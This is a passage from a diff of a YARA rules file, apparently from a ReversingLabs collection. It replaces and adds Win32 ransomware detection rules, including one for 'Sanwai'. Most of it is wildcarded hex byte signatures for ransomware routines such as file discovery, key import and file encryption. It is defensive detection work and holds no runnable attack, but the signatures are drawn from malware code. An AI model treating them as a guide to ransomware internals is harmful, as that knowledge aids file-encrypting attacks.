-            8D 55 ?? 52 8B 45 ?? 50 8D 4D ?? 51 8B 55 ?? 52 FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ??
-            ?? ?? C7 45 ?? ?? ?? ?? ?? EB ?? 8B 45 ?? 83 C0 ?? 89 45 ?? 8B 4D ?? 3B 4D ?? 0F 83
-            ?? ?? ?? ?? 8B 55 ?? C1 E2 ?? 8B 45 ?? 83 7C 10 ?? ?? 75 ?? 8B 4D ?? 51 FF 15 ?? ??
-            ?? ?? 8B 55 ?? C1 E2 ?? 8B 4D ?? 8B 75 ?? 8B 54 16 ?? E8 ?? ?? ?? ?? 85 C0 74 ?? 8B
-            45 ?? 50 8B 4D ?? 51 8B 55 ?? C1 E2 ?? 8B 45 ?? 8B 4C 10 ?? 51 E8 ?? ?? ?? ?? 83 C4
-            ?? 8B 55 ?? C1 E2 ?? 8B 45 ?? 8B 4C 10 ?? 83 E1 ?? 74 ?? 8B 55 ?? 52 8B 45 ?? 50 8B
-            4D ?? 51 8B 55 ?? C1 E2 ?? 03 55 ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? E9 ?? ?? ?? ?? C7 45
-            ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? E9 ?? ?? ?? ?? 8B 45 ?? 50 FF 15 ?? ?? ?? ?? 8D
-            4D ?? 51 8B 55 ?? 52 6A ?? 6A ?? 6A ?? FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? C7
-            45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8D 45 ?? 50 8B 4D ?? 51 8D 55 ?? 52 8B 45 ??
-            50 FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? EB ?? 8B 4D ?? 83
-            C1 ?? 89 4D ?? 8B 55 ?? 3B 55 ?? 0F 83 ?? ?? ?? ?? 8B 45 ?? C1 E0 ?? 8B 4D ?? 83 7C
-            01 ?? ?? 75 ?? 8B 55 ?? 52 FF 15 ?? ?? ?? ?? 8B 55 ?? C1 E2 ?? 8B 4D ?? 8B 75 ?? 8B
-            54 16 ?? E8 ?? ?? ?? ?? 85 C0 74 ?? 8B 45 ?? 50 8B 4D ?? 51 8B 55 ?? C1 E2 ?? 8B 45
-            ?? 8B 4C 10 ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B 55 ?? C1 E2 ?? 8B 45 ?? 8B 4C 10 ?? 83
-            E1 ?? 74 ?? 8B 55 ?? 52 8B 45 ?? 50 8B 4D ?? 51 8B 55 ?? C1 E2 ?? 03 55 ?? 52 E8 ??
-            ?? ?? ?? 83 C4 ?? E9 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? E9 ?? ??
-            ?? ?? 8B 45 ?? 50 FF 15 ?? ?? ?? ?? 5E 8B E5 5D C3
+		$encrypt_files_p3 = {
+            55 8B EC 83 E4 ?? 81 EC ?? ?? ?? ?? 53 55 56 57 6A ?? 5E 56 BF ?? ?? ?? ?? 57 FF 15
+            ?? ?? ?? ?? 51 BB ?? ?? ?? ?? BD ?? ?? ?? ?? 8B D3 8B CD E8 ?? ?? ?? ?? 59 56 57 FF
+            15 ?? ?? ?? ?? 51 BA ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 8B C6 C6 07 ?? 47
+            83 E8 ?? 75 ?? BF ?? ?? ?? ?? BA ?? ?? ?? ?? 53 8B CF E8 ?? ?? ?? ?? 59 6A ?? 58 C6
+            03 ?? 43 83 E8 ?? 75 ?? B9 ?? ?? ?? ?? C6 05 ?? ?? ?? ?? ?? 3B E9 74 ?? 55 51 8B D6
+            E8 ?? ?? ?? ?? 83 C4 ?? B9 ?? ?? ?? ?? B8 ?? ?? ?? ?? 3B C1 74 ?? 50 51 8B D6 E8 ??
+            ?? ?? ?? 83 C4 ?? 6A ?? 5B 53 8D 44 24 ?? 50 FF 15 ?? ?? ?? ?? 8D 44 24 ?? B9 ?? ??
+            ?? ?? 50 51 8B D3 E8 ?? ?? ?? ?? B9 ?? ?? ?? ?? B8 ?? ?? ?? ?? 83 C4 ?? 3B C8 74 ??
+            51 50 6A ?? 5A 8B C8 E8 ?? ?? ?? ?? 83 C4 ?? B8 ?? ?? ?? ?? B9 ?? ?? ?? ?? 3B C1 74
+            ?? 50 51 8B D6 E8 ?? ?? ?? ?? 83 C4 ?? B9 ?? ?? ?? ?? B8 ?? ?? ?? ?? 3B C1 74 ?? 50
+            51 6A ?? 5A E8 ?? ?? ?? ?? 83 C4 ?? B8 ?? ?? ?? ?? B9 ?? ?? ?? ?? 6A ?? 5B 3B C1 74
+            ?? 50 51 8B D3 E8 ?? ?? ?? ?? 83 C4 ?? B8 ?? ?? ?? ?? B9 ?? ?? ?? ?? 3B C1 74 ?? 50
+            51 6A ?? 5A E8 ?? ?? ?? ?? 83 C4 ?? 8D 44 24 ?? 8B D7 50 8D 4C 24 ?? E8 ?? ?? ?? ??
+            59 BA ?? ?? ?? ?? 8D 4C 24 ?? 6A ?? 52 E8 ?? ?? ?? ?? 59 59 83 64 24 ?? ?? 83 EB ??
+            75 ?? 21 9C 24 ?? ?? ?? ?? 8D 44 24 ?? 6A ?? 59 C6 00 ?? 40 83 E9 ?? 75 ?? 8B C6 C6
+            45 ?? ?? 45 83 E8 ?? 75 ?? C6 07 ?? 47 83 EE ?? 75 ?? 33 C0 5F 40 5E 5D 5B 8B E5 5D
+            C3
         }
-		$encrypt_files = {
-            55 8B EC 81 EC ?? ?? ?? ?? 53 8B D8 33 C0 56 89 45 ?? 89 45 ?? 89 45 ?? 89 45 ?? 8B
-            45 ?? 6A ?? 50 8D 4D ?? 51 8D 77 ?? C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 ?? 8B
-            D3 83 E2 ?? 2B DA 83 EB ?? 83 C4 ?? 89 5D ?? 8B 1D ?? ?? ?? ?? 50 FF D3 89 45 ?? 83
-            F8 ?? 0F 84 ?? ?? ?? ?? 8B 4D ?? 51 FF D3 83 F8 ?? 0F 85 ?? ?? ?? ?? 8B 55 ?? 81 C2
-            ?? ?? ?? ?? 81 FA ?? ?? ?? ?? 0F 83 ?? ?? ?? ?? 8B 45 ?? A8 ?? 74 ?? 83 E0 ?? 50 8B
-            45 ?? 50 FF 15 ?? ?? ?? ?? 8B 4D ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 51
-            FF 15 ?? ?? ?? ?? 8B D8 89 5D ?? 83 FB ?? 0F 84 ?? ?? ?? ?? 6A ?? 8D 55 ?? 52 33 C0
-            33 C9 51 50 53 89 45 ?? 89 45 ?? FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 83 7D ??
-            ?? 75 ?? 83 7D ?? ?? 0F 84 ?? ?? ?? ?? 33 C9 51 8D 55 ?? 52 33 C0 50 51 53 FF 15 ??
-            ?? ?? ?? 8B 45 ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ??
-            8B D8 83 FB ?? 0F 84 ?? ?? ?? ?? 8B 55 ?? 8B 4D ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ??
-            8B 55 ?? 8B 45 ?? 6A ?? 8D 4D ?? 51 52 57 50 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ??
-            ?? 8B 4D ?? 85 C9 74 ?? 8B 45 ?? 85 C0 75 ?? 3B 4D ?? 73 ?? 8B D1 83 E2 ?? B8 ?? ??
-            ?? ?? 2B C2 89 45 ?? 57 03 C1 8D 8D ?? ?? ?? ?? 57 51 E8 ?? ?? ?? ?? 8B 4D ?? 03 4D
-            ?? 83 C4 ?? 6A ?? 8D 55 ?? 52 51 57 53 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8B
-            45 ?? 03 45 ?? 39 45 ?? 0F 85 ?? ?? ?? ?? 8B 55 ?? 8B 45 ?? 6A ?? 8D 4D ?? 51 52 57
-            50 FF 15 ?? ?? ?? ?? 85 C0 75 ?? E9 ?? ?? ?? ?? 6A ?? 6A ?? 57 E8 ?? ?? ?? ?? 8B 45
-            ?? 83 C4 ?? C7 47 ?? ?? ?? ?? ?? C7 47 ?? ?? ?? ?? ?? 85 C0 74 ?? 8B 4D ?? 51 50 56
-            C7 47 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 ?? 83 C4 ?? 03 F0 01 45 ?? 8B 55 ?? 6A ??
-            52 56 E8 ?? ?? ?? ?? 8B 45 ?? 6A ?? 50 83 C6 ?? 56 E8 ?? ?? ?? ?? 6A ?? 8D 4D ?? 51
-            83 C6 ?? 56 E8 ?? ?? ?? ?? 6A ?? 8D 55 ?? 52 83 C6 ?? 56 E8 ?? ?? ?? ?? 8B 45 ?? 68
-            ?? ?? ?? ?? 50 83 C6 ?? 56 E8 ?? ?? ?? ?? 6A ?? 8D 4D ?? 51 83 EE ?? 56 E8 ?? ?? ??
-            ?? 83 C4 ?? 6A ?? 8D 55 ?? 52 83 C6 ?? 2B F7 56 57 53 FF 15 ?? ?? ?? ?? 85 C0 74 ??
-            39 75 ?? 75 ?? 53 FF 15 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 53 FF 15 ?? ?? ?? ?? 83 7D
-            ?? ?? 7E ?? 8B 75 ?? 33 C9 51 8D 55 ?? 52 33 C0 50 51 56 FF 15 ?? ?? ?? ?? 56 FF 15
-            ?? ?? ?? ?? 8B 5D ?? 53 FF 15 ?? ?? ?? ?? 83 7D ?? ?? 7E ?? 8B 45 ?? 8B 4D ?? 50 51
-            FF 15 ?? ?? ?? ?? 8B 55 ?? 52 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 6A
-            ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8B 45 ?? 5E 5B 8B E5 5D C3
+		$find_files_p1 = {
+            55 8B EC 83 EC ?? 53 56 6A ?? 59 E8 ?? ?? ?? ?? 8B F0 66 C7 45 ?? ?? ?? 33 DB 89 35
+            ?? ?? ?? ?? B1 ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8B C3 C7 45 ?? ?? ?? ??
+            ?? 66 C7 45 ?? ?? ?? 02 C8 30 4C 05 ?? 40 83 F8 ?? 73 ?? 8A 4D ?? EB ?? 8D 45 ?? 88
+            5D ?? 50 8D 55 ?? 8B CE E8 ?? ?? ?? ?? 0F 28 05 ?? ?? ?? ?? B0 ?? 59 B1 ?? 88 5D ??
+            32 C1 88 4D ?? 88 45 ?? 8B CB 0F 11 45 ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ??
+            66 C7 45 ?? ?? ?? 88 5D ?? 8A 45 ?? 30 44 0D ?? 41 83 F9 ?? 72 ?? 8B 0D ?? ?? ?? ??
+            8D 45 ?? 50 8D 55 ?? 88 5D ?? E8 ?? ?? ?? ?? 59 B1 ?? 88 5D ?? B0 ?? 88 4D ?? 32 C1
+            C7 45 ?? ?? ?? ?? ?? 88 45 ?? 8B C3 C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 80 44
+            05 ?? ?? 40 83 F8 ?? 72 ?? 8B 0D ?? ?? ?? ?? 8D 45 ?? 50 8D 55 ?? E8 ?? ?? ?? ?? 59
+            6A ?? 33 C9 C7 45 ?? ?? ?? ?? ?? 5B B0 ?? 88 5D ?? 32 C3 88 4D ?? 88 45 ?? 8B C1 C7
+            45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 88 4D ?? 80 44 05 ?? ?? 40 83 F8 ?? 72 ?? 8B
+            0D ?? ?? ?? ?? 8D 45 ?? 50 8D 55 ?? E8 ?? ?? ?? ?? 59 6A ?? 88 5D ?? B2 ?? 66 C7 45
+            ?? ?? ?? 33 C9 66 C7 45 ?? ?? ?? C6 45 ?? ?? C7 45 ?? ?? ?? ?? ?? C6 45 ?? ?? 5B 8D
+            04 0A 30 44 0D ?? 41 3B CB 73 ?? 8A 55 ?? EB ?? 8B 0D ?? ?? ?? ?? 8D 45 ?? 50 8D 55
+            ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 59 6A ?? 33 C9 C6 45 ?? ?? 58 34 ?? 88 4D ?? 88 45
+        }
+		$find_files_p2 = {
+            B2 ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 66 C7 45 ?? ?? ?? 8D 04 0A 30 44 0D
+            ?? 41 83 F9 ?? 73 ?? 8A 55 ?? EB ?? 8B 0D ?? ?? ?? ?? 8D 45 ?? 50 8D 55 ?? C6 45 ??
+            ?? E8 ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? 8D 45 ?? 80 F3 ?? C6 45 ?? ?? 88 5D ?? 8D 55 ??
+            33 DB C6 45 ?? ?? 50 88 5D ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ??
+            ?? 59 59 6A ?? 58 34 ?? C6 45 ?? ?? 88 45 ?? B2 ?? 88 5D ?? 8B CB C7 45 ?? ?? ?? ??
+            ?? 66 C7 45 ?? ?? ?? 88 5D ?? 8D 04 0A 30 44 0D ?? 41 83 F9 ?? 73 ?? 8A 55 ?? EB ??
+            8B 0D ?? ?? ?? ?? 8D 45 ?? 50 8D 55 ?? 88 5D ?? E8 ?? ?? ?? ?? 59 66 C7 45 ?? ?? ??
+            8B C3 C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 80 44 05 ?? ??
+            40 83 F8 ?? 72 ?? 8B 0D ?? ?? ?? ?? 8D 45 ?? 50 8D 55 ?? E8 ?? ?? ?? ?? B0 ?? C6 45
+            ?? ?? 34 ?? 88 5D ?? 59 88 45 ?? B1 ?? C7 45 ?? ?? ?? ?? ?? 8B C3 C7 45 ?? ?? ?? ??
+            ?? C7 45 ?? ?? ?? ?? ?? 66 C7 45 ?? ?? ?? 88 5D ?? 30 4C 05 ?? 40 83 F8 ?? 73 ?? 8A
+            4D ?? EB ?? 8B 0D ?? ?? ?? ?? 8D 45 ?? 50 8D 55 ?? 88 5D ?? E8 ?? ?? ?? ?? 0F 28 05
+            ?? ?? ?? ?? 59 66 C7 45 ?? ?? ?? 8B CB 0F 11 45 ?? C7 45 ?? ?? ?? ?? ?? 88 5D ?? 8A
+            45 ?? 30 44 0D ?? 41 83 F9 ?? 72 ?? 8B 0D ?? ?? ?? ?? 8D 45 ?? 50 8D 55 ?? 88 5D ??
+            E8 ?? ?? ?? ?? 59 5E 5B 8B E5 5D C3
+        }
+		$find_folders = {
+            55 8B EC 83 EC ?? 53 56 6A ?? 59 E8 ?? ?? ?? ?? 0F 28 05 ?? ?? ?? ?? 33 DB 8B F0 66
+            C7 45 ?? ?? ?? 89 35 ?? ?? ?? ?? 8B CB 0F 11 45 ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ??
+            ?? ?? ?? 66 C7 45 ?? ?? ?? 88 5D ?? 8A 45 ?? 30 44 0D ?? 41 83 F9 ?? 72 ?? 8D 45 ??
+            88 5D ?? 50 8D 55 ?? 8B CE E8 ?? ?? ?? ?? 0F 28 05 ?? ?? ?? ?? B0 ?? 59 B1 ?? 88 5D
+            ?? 32 C1 88 4D ?? 88 45 ?? 8B CB 0F 11 45 ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ??
+            ?? 66 C7 45 ?? ?? ?? 8A 45 ?? 30 44 0D ?? 41 83 F9 ?? 72 ?? 8B 0D ?? ?? ?? ?? 8D 45
+            ?? 50 8D 55 ?? 88 5D ?? E8 ?? ?? ?? ?? 59 B1 ?? 88 5D ?? B0 ?? 88 4D ?? 32 C1 C7 45
+            ?? ?? ?? ?? ?? 88 45 ?? B2 ?? C7 45 ?? ?? ?? ?? ?? 8B CB 66 C7 45 ?? ?? ?? 88 5D ??
+            8D 04 0A 30 44 0D ?? 41 83 F9 ?? 73 ?? 8A 55 ?? EB ?? 8B 0D ?? ?? ?? ?? 8D 45 ?? 50
+            8D 55 ?? 88 5D ?? E8 ?? ?? ?? ?? 59 B1 ?? 88 5D ?? B0 ?? 88 4D ?? 32 C1 C7 45 ?? ??
+            ?? ?? ?? 88 45 ?? 8B C3 C7 45 ?? ?? ?? ?? ?? 66 C7 45 ?? ?? ?? 88 5D ?? 80 44 05 ??
+            ?? 40 83 F8 ?? 72 ?? 8B 0D ?? ?? ?? ?? 8D 45 ?? 50 8D 55 ?? E8 ?? ?? ?? ?? 59 66 C7
+            45 ?? ?? ?? 8B C3 C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 66 C7 45 ?? ?? ?? 80 44
+            05 ?? ?? 40 83 F8 ?? 72 ?? 8B 0D ?? ?? ?? ?? 8D 45 ?? 50 8D 55 ?? E8 ?? ?? ?? ?? 59
+            66 C7 45 ?? ?? ?? B1 ?? C7 45 ?? ?? ?? ?? ?? 8B C3 C7 45 ?? ?? ?? ?? ?? C7 45 ?? ??
+            ?? ?? ?? 66 C7 45 ?? ?? ?? 30 4C 05 ?? 40 83 F8 ?? 73 ?? 8A 4D ?? EB ?? 8B 0D ?? ??
+            ?? ?? 8D 45 ?? 50 8D 55 ?? 88 5D ?? E8 ?? ?? ?? ?? 59 66 C7 45 ?? ?? ?? B2 ?? C7 45
+            ?? ?? ?? ?? ?? 8B CB C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 66 C7 45 ?? ?? ?? 8D
+            04 0A 30 44 0D ?? 41 83 F9 ?? 73 ?? 8A 55 ?? EB ?? 8B 0D ?? ?? ?? ?? 8D 45 ?? 50 8D
+            55 ?? 88 5D ?? E8 ?? ?? ?? ?? 59 5E 5B 8B E5 5D C3
         }
 
 	condition:
-		uint16(0)==0x5A4D and ($enumerate_resources and $enumerate_files and $encrypt_files and $remote_connection_1)
+		uint16(0)==0x5A4D and ($find_folders and ( all of ($find_files_p*)) and ( all of ($encrypt_files_p*)))
 }
-rule REVERSINGLABS_Win32_Ransomware_Hakunamatata : TC_DETECTION MALICIOUS MALWARE FILE
+rule REVERSINGLABS_Win32_Ransomware_Sanwai : TC_DETECTION MALICIOUS MALWARE FILE
 {
 	meta:
-		description = "Yara rule that detects HakunaMatata ransomware."
+		description = "Yara rule that detects Sanwai ransomware."
 		author = "ReversingLabs"
-		id = "17438fcd-7a51-5fb6-96ac-38523bc1744f"
-		date = "2020-11-11"
-		modified = "2020-11-11"
+		id = "01912621-4a34-5e34-8542-5b561e8da567"
+		date = "2021-11-11"
+		modified = "2021-11-11"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/Win32.Ransomware.HakunaMatata.yara#L1-L373"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "e363ff93fce286d60a3f5ea20ba3ec03564b7a5321c3f6448cc82187f23e8a9f"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/Win32.Ransomware.Sanwai.yara#L1-L71"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "a7a95b2403fe539dce0d856cc1c04d15440677ea39c0a22e818b42333a64e92c"
 		score = 75
 		quality = 90
 		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
@@ -30820,717 +32337,914 @@ rule REVERSINGLABS_Win32_Ransomware_Hakunamatata : TC_DETECTION MALICIOUS MALWAR
 		sharing = "TLP:WHITE"
 		category = "MALWARE"
 		tc_detection_type = "Ransomware"
-		tc_detection_name = "HakunaMatata"
+		tc_detection_name = "Sanwai"
 		tc_detection_factor = 5
 		importance = 25
 
 	strings:
+		$find_files = {
+            55 8B EC 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 83 EC ?? 53 56 57 A1 ?? ?? ?? ??
+            33 C5 50 8D 45 ?? 64 A3 ?? ?? ?? ?? 89 55 ?? 8B D9 83 7B ?? ?? 8B F3 8B 45 ?? 8B 7D
+            ?? 89 45 ?? 72 ?? 8B 33 8D 4E ?? 66 8B 06 83 C6 ?? 66 85 C0 75 ?? 2B F1 D1 FE 0F 84
+            ?? ?? ?? ?? 3B 73 ?? 0F 85 ?? ?? ?? ?? 88 45 ?? 8D 55 ?? FF 75 ?? 8D 4D ?? C7 45 ??
+            ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8D 45 ?? C7 45 ?? ?? ?? ??
+            ?? 50 8B CB E8 ?? ?? ?? ?? 8B 55 ?? 83 FA ?? 72 ?? 8B 4D ?? 8D 14 55 ?? ?? ?? ?? 8B
+            C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 76 ?? FF 15 ??
+            ?? ?? ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? 83 7B ?? ?? 72 ?? 8B 1B 8B 75 ?? 57 56 53 E8
+            ?? ?? ?? ?? 85 C0 75 ?? 8B 36 8B CF E8 ?? ?? ?? ?? 84 C0 74 ?? 57 56 E8 ?? ?? ?? ??
+            85 C0 75 ?? 8B CF E8 ?? ?? ?? ?? 84 C0 75 ?? 33 C0 8B 4D ?? 64 89 0D ?? ?? ?? ?? 59
+            5F 5E 5B 8B E5 5D C3 83 F8 ?? 75 ?? 8B 4D ?? D1 E9 F6 C1 ?? B9 ?? ?? ?? ?? 0F 45 C1
+            8B 4D ?? 64 89 0D ?? ?? ?? ?? 59 5F 5E 5B 8B E5 5D C3 B8 ?? ?? ?? ?? 8B 4D ?? 64 89
+            0D ?? ?? ?? ?? 59 5F 5E 5B 8B E5 5D C3
+        }
+		$import_key = {
+            8D 44 24 ?? 50 6A ?? 6A ?? 6A ?? 8D 44 24 ?? 50 FF 74 24 ?? FF 15 ?? ?? ?? ?? 5E 85
+            C0 75 ?? 50 FF 74 24 ?? FF 15 ?? ?? ?? ?? 32 C0 5F 8B 4C 24 ?? 33 CC E8 ?? ?? ?? ??
+            83 C4 ?? C3 8B 44 24 ?? FF 74 24 ?? 8B 08 8B 40 ?? 89 47 ?? 8D 44 24 ?? 50 57 6A ??
+            6A ?? 6A ?? FF 74 24 ?? 89 0F FF 15 ?? ?? ?? ?? FF 74 24 ?? FF 15 ?? ?? ?? ?? 6A ??
+            FF 74 24 ?? FF 15 ?? ?? ?? ?? 8B 4C 24 ?? B0 ?? 5F 33 CC E8 ?? ?? ?? ?? 83 C4 ?? C3
+        }
 		$encrypt_files = {
-            55 89 E5 57 56 53 81 EC ?? ?? ?? ?? 89 4D ?? C7 45 ?? ?? ?? ?? ?? 8B 45 ?? 8B 40 ??
-            85 C0 0F 84 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8B 45 ?? 8D 55 ?? 89 14 24 89 C1 E8 ??
-            ?? ?? ?? 83 EC ?? 84 C0 0F 84 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ??
-            ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44
-            24 ?? ?? ?? ?? ?? 8B 45 ?? 89 04 24 A1 ?? ?? ?? ?? FF D0 83 EC ?? 89 45 ?? 83 7D ??
-            ?? 0F 84 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ??
-            ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 8B
-            45 ?? 89 04 24 A1 ?? ?? ?? ?? FF D0 83 EC ?? 89 45 ?? 83 7D ?? ?? 0F 84 ?? ?? ?? ??
-            C7 45 ?? ?? ?? ?? ?? 8D 45 ?? 89 44 24 ?? 8B 45 ?? 89 04 24 A1 ?? ?? ?? ?? FF D0 83
-            EC ?? 85 C0 0F 95 C0 84 C0 0F 84 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ??
-            ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8B 45 ?? 8B 55 ?? 89 45 ?? 89 55 ?? 8B
-            45 ?? 8B 40 ?? 89 04 24 E8 ?? ?? ?? ?? 89 45 ?? 8B 45 ?? 8B 50 ?? 8B 45 ?? 89 54 24
-            ?? C7 44 24 ?? ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? 8B 45 ?? 8B 50 ?? 89 D0 C1 E0 ??
-            01 D0 01 C0 89 45 ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? 89 45 ?? C7 44 24 ?? ?? ?? ??
-            ?? 8D 45 ?? 89 44 24 ?? 8B 45 ?? 89 44 24 ?? 8B 45 ?? 89 44 24 ?? 8B 45 ?? 89 04 24
-            A1 ?? ?? ?? ?? FF D0 83 EC ?? 85 C0 0F 94 C0 84 C0 74 ?? C7 45 ?? ?? ?? ?? ?? E9 ??
-            ?? ?? ?? 8B 45 ?? 8B 40 ?? BA ?? ?? ?? ?? 8B 4D ?? 8B 5D ?? 39 DA 72 ?? 39 DA 77 ??
-            39 C8 76 ?? 89 C8 89 DA 89 45 ?? 8B 55 ?? 8B 45 ?? C7 44 24 ?? ?? ?? ?? ?? 8D 4D ??
-            89 4C 24 ?? 89 54 24 ?? 89 44 24 ?? 8B 45 ?? 89 04 24 A1 ?? ?? ?? ?? FF D0 83 EC ??
-            83 F8 ?? 0F 94 C0 84 C0 0F 84 ?? ?? ?? ?? 8B 4D ?? 8B 55 ?? 8B 45 ?? 89 4C 24 ?? 89
-            54 24 ?? 89 04 24 E8 ?? ?? ?? ?? 8B 45 ?? 89 45 ?? 8B 45 ?? 89 C6 8B 45 ?? 89 C1 BB
-            ?? ?? ?? ?? 8B 45 ?? 8B 55 ?? 89 CF 31 C7 89 7D ?? 89 DF 31 D7 89 7D ?? 8B 45 ?? 0B
-            45 ?? 85 C0 0F 94 C0 0F B6 C8 8B 55 ?? 8B 45 ?? 89 44 24 ?? 8D 45 ?? 89 44 24 ?? 89
-            F0 89 44 24 ?? C7 44 24 ?? ?? ?? ?? ?? 89 4C 24 ?? C7 44 24 ?? ?? ?? ?? ?? 89 14 24
-            A1 ?? ?? ?? ?? FF D0 83 EC ?? 89 45 ?? A1 ?? ?? ?? ?? FF D0 89 45 ?? 8B 45 ?? 85 C0
-            79 ?? C7 45 ?? ?? ?? ?? ?? E9 ?? ?? ?? ?? 8B 55 ?? 8B 45 ?? C7 44 24 ?? ?? ?? ?? ??
-            8D 4D ?? 89 4C 24 ?? 89 54 24 ?? 89 44 24 ?? 8B 45 ?? 89 04 24 A1 ?? ?? ?? ?? FF D0
-            83 EC ?? 85 C0 0F 94 C0 84 C0 74 ?? C7 45 ?? ?? ?? ?? ?? 90 EB ?? 8B 4D ?? 8B 5D ??
-            8B 45 ?? BA ?? ?? ?? ?? 29 C1 19 D3 89 C8 89 DA 89 45 ?? 89 55 ?? 8B 45 ?? BA ?? ??
-            ?? ?? 01 45 ?? 11 55 ?? 8B 45 ?? 8B 55 ?? 89 C6 83 F6 ?? 89 75 ?? 89 D0 80 F4 ?? 89
-            45 ?? 8B 55 ?? 8B 4D ?? 89 C8 09 D0 85 C0 74 ?? E9 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ??
-            8B 45 ?? 85 C0 74 ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? 8B 45 ?? 85 C0 74 ?? 8B 45 ??
-            89 04 24 E8 ?? ?? ?? ?? 8B 45 ?? 89 04 24 A1 ?? ?? ?? ?? FF D0 83 EC ?? 8B 45 ?? 89
-            04 24 A1 ?? ?? ?? ?? FF D0 83 EC ?? 83 7D ?? ?? 74 ?? 8B 45 ?? 89 04 24 E8 ?? ?? ??
-            ?? EB ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? 8B 45 ?? 89 04 24 A1 ?? ?? ?? ?? FF D0 83
-            EC ?? 8B 45 ?? 8D 65 ?? 5B 5E 5F 5D C2
-        }
-		$encrypt_files_2 = {
-            55 89 E5 56 53 81 EC ?? ?? ?? ?? 89 4D ?? 8B 45 ?? 89 85 ?? ?? ?? ?? 8B 45 ?? 89 85
-            ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8B 45 ?? 8B 40 ?? 85 C0 0F 84 ?? ?? ?? ?? C7 45 ??
-            ?? ?? ?? ?? 8B 55 ?? 8D 45 ?? 89 04 24 89 D1 E8 ?? ?? ?? ?? 83 EC ?? 84 C0 0F 84 ??
-            ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7
-            44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 8B 45 ?? 89 04
-            24 A1 ?? ?? ?? ?? FF D0 83 EC ?? 89 45 ?? 83 7D ?? ?? 0F 84 ?? ?? ?? ?? C7 44 24 ??
